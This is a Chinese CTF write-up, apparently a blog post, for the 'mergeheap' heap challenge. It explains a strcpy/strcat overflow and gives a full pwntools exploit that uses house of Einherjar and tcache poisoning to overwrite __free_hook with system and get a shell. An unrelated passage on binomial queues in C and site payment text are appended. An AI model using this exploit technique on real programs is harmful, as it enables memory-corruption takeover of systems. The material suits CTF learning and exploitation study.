mergeheap

161 篇文章 9 订阅
161 篇文章 9 订阅

mergeheap

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在合并的时候,存在溢出,strcpy、strcat可能会将下一个chunk的size也拷贝过来,从而可以溢出修改下一个chunk的size。

并且,由于merge的时候使用的是strcpy、strcat,遇到\0字符会截断,因此当我们写64位地址数据的时候,需要从最后一个开始写,前面全部用不截断的字符填充。依次从后往前完成64位数据的布置。通过伪造chunk,利用house of Einherjar,形成overlap chunk后,修改tcache bin chunk的next指针,达到任意地址分配。

#coding:utf8
from pwn import *

#sh = process('./mergeheap')
sh = remote('node3.buuoj.cn',29551)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def add(size,content):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('len:',str(size))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('idx:',str(index))

def delete(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('idx:',str(index))

def merge(index1,index2):
   sh.sendlineafter('>>','4')
   sh.sendlineafter('idx1:',str(index1))
   sh.sendlineafter('idx2:',str(index2))

#0
add(0x80,'a'*0x80)
#1~7
for i in range(7):
   add(0x80,'b'*0x80)
#8
add(0x80,'c'*0x80)
#9
add(0x100,'d'*0x100)
#10
add(0x80,'e'*0x80)
#11
add(0x10,'f'*0x10)
#12
add(0x10,'e'*0x10)
delete(12)
delete(11)
#泄露堆地址
add(0,'') #11
show(11)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(0,'') #12
#7个进tcache
for i in range(1,8):
   delete(i)
#得到unsorted bin
delete(0)
#泄露地址
add(0,'') #0
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

####第一次,我们修改size######
#1
add(0x80,'b'*(0x80 - 1) + p8(0x90))
#2
add(0x88,'b'*0x88)
#9放入0x110的tcache bin
delete(9)
#3,合并后,会修改9的size
merge(2,1)
#将chunk8的index换到4来
delete(8)
add(0x80,'c'*0x80) #4

#清空chunk8某处8字节数据
def clearChunk8(offset):
   for i in range(7,-1,-1):
      delete(4)
      add(0x80,'b'*offset + 'b'*i + '\n') #4

def writeChunk8(offset,data):
   delete(4)
   add(0x80,'b'*offset + p64(data)[0:7] + '\n') #4

#清空后一个堆里某处8字节数据
def clearLast(offset):
   for i in range(7,-1,-1):
      #将1、2重新返回tcache bin
      delete(2)
      delete(1)
      #释放0x110的chunk
      delete(3)
      #1
      add(0x80,'b'*offset + 'b'*i + '\n')
      #2
      add(0x88,'b'*0x88)
      #3
      merge(2,1)

def writePrevSize(data):
   #将1、2重新返回tcache bin
   delete(2)
   delete(1)
   #释放0x110的chunk
   delete(3)
   #1
   add(0x80,'b'*(0x80 - 9) + p64(data) + '\n')
   #2
   add(0x88,'b'*0x88)
   #3
   merge(2,1)

####第二次,我们用同样的方法修改prev_size#####
#先清空prev_size处的数据
clearLast(0x80 - 9)
#现在,写prev_size
writePrevSize(0x110 + 0x80)
#我们要在chunk8里伪造一个chunk
#伪造bk
clearChunk8(0x18)
writeChunk8(0x18,heap_addr - 0x250)
#伪造fd
clearChunk8(0x10)
writeChunk8(0x10,heap_addr - 0x250)
#伪造size
clearChunk8(0x8)
writeChunk8(0x8,0x80 + 0x111)
delete(1)
delete(2)
#unsorted bin合并,形成overlap chunk
delete(10)
#0x110的chunk放入tcache bin
delete(3)
#1
add(0x70,'c'*0x70)
#与0x110的chunk重合
add(0x70,p64(free_hook_addr) + '\n')
add(0x100,'/bin/sh\x00\n') #2
#申请到free_hook处
add(0x100,p64(system_addr) + '\n')
#getshell
delete(2)

sh.interactive()

 

二项队列是一种基于二项堆的数据结构,它能够实现常见的队列操作,如入队、出队和获取队列元素个数。以下是一个用C语言实现二项队列的简单思路。 首先,需要定义一个二项堆的数据结构。二项堆是一棵满足特定性质的二叉树,每个节点有一个关键字和一个存储队列元素的指针。可以使用一个结构体来表示二项堆的节点。 ```c typedef struct BinomialHeapNode { int key; // 节点关键字 QueueNode* value; // 存储队列元素的指针 int degree; // 子树的度数 struct BinomialHeapNode* parent; // 父节点指针 struct BinomialHeapNode* child; // 第一个子节点指针 struct BinomialHeapNode* sibling; // 兄弟节点指针 } BinomialHeapNode; ``` 接下来,需要实现二项队列的入队操作。入队操作需要将新元素构造为一个二项堆,然后按照二项堆合并的规则与已有的二项堆合并。 ```c void enqueue(BinomialHeapNode** root, int key, QueueNode* value) { BinomialHeapNode* newNode = createNode(key, value); // 创建新节点 BinomialHeapNode* newHeapRoot = newNode; // 新节点作为单元素二项堆的根节点 newHeapRoot->degree = 0; newHeapRoot->parent = NULL; newHeapRoot->child = NULL; newHeapRoot->sibling = NULL; *root = mergeHeap(*root, newHeapRoot); // 合并二项堆,更新根节点指针 } ``` 然后,需要实现二项队列的出队操作。出队操作需要找到具有最小关键字的节点,并从根节点链表中删除该节点,再将其子节点们合并到一个新的二项堆中。 ```c QueueNode* dequeue(BinomialHeapNode** root) { BinomialHeapNode* minNode = findMin(*root); // 找到关键字最小的节点 *root = removeNode(*root, minNode); // 从根节点链表中删除该节点 BinomialHeapNode* childRoot = reverseChildren(minNode); // 将子节点们反转为新的二项堆根 *root = mergeHeap(*root, childRoot); // 合并二项堆,更新根节点指针 QueueNode* dequeuedValue = minNode->value; // 记录要出队的元素 free(minNode); // 释放节点内存 return dequeuedValue; } ``` 最后,通过迭代根节点链表,可以计算出队列的元素个数。 ```c int getSize(BinomialHeapNode* root) { int size = 0; BinomialHeapNode* currentNode = root; while (currentNode != NULL) { size += pow(2, currentNode->degree); // 根节点的度数表示对应子节点数量 currentNode = currentNode->sibling; } return size; } ``` 以上是用C语言实现二项队列的基本思路,具体的实现细节可能因为具体需求和使用的数据结构而有所不同。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值